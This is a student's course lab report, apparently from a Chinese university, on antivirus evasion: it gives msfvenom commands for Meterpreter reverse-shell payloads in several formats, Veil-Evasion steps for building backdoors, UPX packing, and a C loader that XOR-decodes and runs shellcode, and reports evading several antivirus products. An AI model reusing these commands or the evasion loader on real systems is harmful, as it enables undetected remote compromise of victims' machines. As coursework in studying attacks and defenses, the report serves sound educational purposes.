20192406梁健 2021-2022-2 《网络与系统攻防技术》实验三实验报告

20192406梁健 2021-2022-2 《网络与系统攻防技术》实验三实验报告

1.实验内容

(1)正确使用msf编码器,veil-evasion,自己利用shellcode编程等免杀工具或技巧

  • 正确使用msf编码器,使用msfvenom生成如jar之类的其他文件
  • veil,加壳工具
  • 使用C + shellcode编程

(2)通过组合应用各种技术实现恶意代码免杀

如果成功实现了免杀的,简单语言描述原理,不要截图。与杀软共生的结果验证要截图。

(3)用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本

2.实验过程

(1)正确使用msf编码器,veil-evasion,自己利用shellcode编程等免杀工具或技巧

1)正确使用msf编码器,使用msfvenom生成如jar之类的其他文件

  • 正确使用msf编码器

无编码的exe文件

命令msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.192.128 PORT=443 -f exe > friend.exe

7次编码的exe文件

命令msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 7 -b '\x00' LHOST=192.168.192.128 LPORT=443 -f exe > friend.exe

  • 使用msfvenom生成如jar文件

命令msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.192.128 PORT=443 -f jar > friend.jar

  • 使用msfvenom生成如php文件

命令msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.192.128 PORT=443 x> friend.php

  • 使用msfvenom生成如py文件

命令msfvenom -p python/meterpreter/reverse_tcp LHOST=192.168.192.128 PORT=443 -f py > friend.py

2)veil,加壳工具

  • veil实现
veil生成happy.exe.bat

命令

veil进入控制台

输入use 1选择Evasion

输入list查看并选择生成程序

输入use powershell/meterpreter/rev_tcp.py选择powershell语言

设置LHOSTset LHOST 192.168.192.128,LPORTset LPORT 1400

输入generate生成后门程序happy.exe.bat

veil生成20192406lj1.py

命令

输入use python/meterpreter/rev_tcp.py选择python语言

设置LHOSTset LHOST 192.168.192.128,选择默认LPORT=4444

输入generate生成后门程序20192406lj1.py

veil生成happy.exe

命令

输入use c/meterpreter/rev_tcp.py选择c语言

设置LHOSTset LHOST 192.168.192.128,选择默认LPORT=4444

输入generate生成后门程序happy.exe

  • UPX加壳

命令upx happy.exe -o happypro.exe

3)使用C + shellcode编程

使用msf生成shellcode数组,命令msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.192.128 LPORT=4445 -f c

新建20192406lj1.c,将数组写入程序。

编译C程序,得到20192406lj1.exe

检查识别情况

(2)通过组合应用各种技术实现恶意代码免杀

采用“C+Shellcode[异或]+UPX”实现免杀,msf生成Shellcode数组,将其以异或0x01存储在C语言文件中,执行时再次异或0x01使用,再加上UPX压缩壳。

命令:

生成shellcode数组: msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.192.128 LPORT=443 -f c

#20192406lj1.c
unsigned char buf[] ="\xfd\xe9\x8e\x1\x1\x1\x61\x30\xd3\x65\x8a\x53
......
\xd4";#异或0x01后的结果

int main()
{
	int i;
	for(i=0;i<sizeof(buf)-1;i++){buf[i] ^= 0x01;}

	int (*func)() = (int(*)())buf;
	func();
}   

编译: i686-w64-mingw32-g++ 20192406lj2.c -o 20192406lj2.exe

加UPX壳: upx 20192406lj2.exe -o 20192406lj2_upx.exe

实验结果如下,可以实现反弹连接,腾讯电脑管家和联想杀毒Plus短时间内都内对其产生反应。但当执行多次后,终于被发现。

  • 不使用[异或]方式

  • 使用[异或方式]

(3)用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本

修改虚拟机网络适配器为桥接模式,并选择宿主机局域网适配器。

生成恶意程序msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 6 -b '\x00' lhost=192.168.0.103 lport=443 -f raw -o 201924061.raw

在网站上检测恶意程序

将恶意程序传入另一台windows电脑,并执行查看反弹连接和杀软情况,系统安全软件360杀毒5.0.0.8170版本。

3.问题及解决方案

  • 问题1:在教学楼无法下载wine32

  • 问题1解决方案:更换Kali软件源为官方源,并在宿舍网络下下载。

  • 问题2:使用C+Shellcode的方法生成的程序无法进行反弹连接。

  • 问题2解决方案:在此基础上加上UPX压缩壳就可以成功执行。

  • 问题3:i686-w64-mingw32-g++编译的程序无法执行,提示缺少dll文件。

  • 问题3解决方案:将linux文件中的dll传到win上mingw64/bin中即可。

回答问题

(1)杀软是如何检测出恶意代码的?

  • 基于特征码的检测
  • 启发式恶意软件检测
  • 基于行为的恶意软件检测

(2)免杀是做什么?

免杀就是通过修改PE文件的代码或结构来达到躲避杀毒软件查杀的目的。

(3)免杀的基本方法有哪些?

  • 加冷门壳
  • 加花指令
  • 改程序入口点
  • 改木马文件特征码
  • C+shellcode

4.学习感悟、思考等

通过本次实验我学到了很多免杀相关的知识,并在实践层面将所学内容付诸实现,实验的过程的时间主要花费在安装和搭建软件环境上。在实验中通过恶意代码生成软件生成了许多程序,并在网络平台检验其识别率,最主要的是通过veil和C+ShellCode方式实现免杀。实验中我最大的收获是想要真正实现免杀非常难,虽然生成的程序短时间不会被发现,但时间一长,使用次数一多就会被杀毒软件发现,尤其是exe格式的文件很容易被发现。只用使用陌生格式的文件才能安稳避免被杀软发现。网络攻防技术道阻且长,还需要更加深入地学习。

posted @ 2022-04-03 21:18  20192406lj  阅读(62)  评论(0编辑  收藏  举报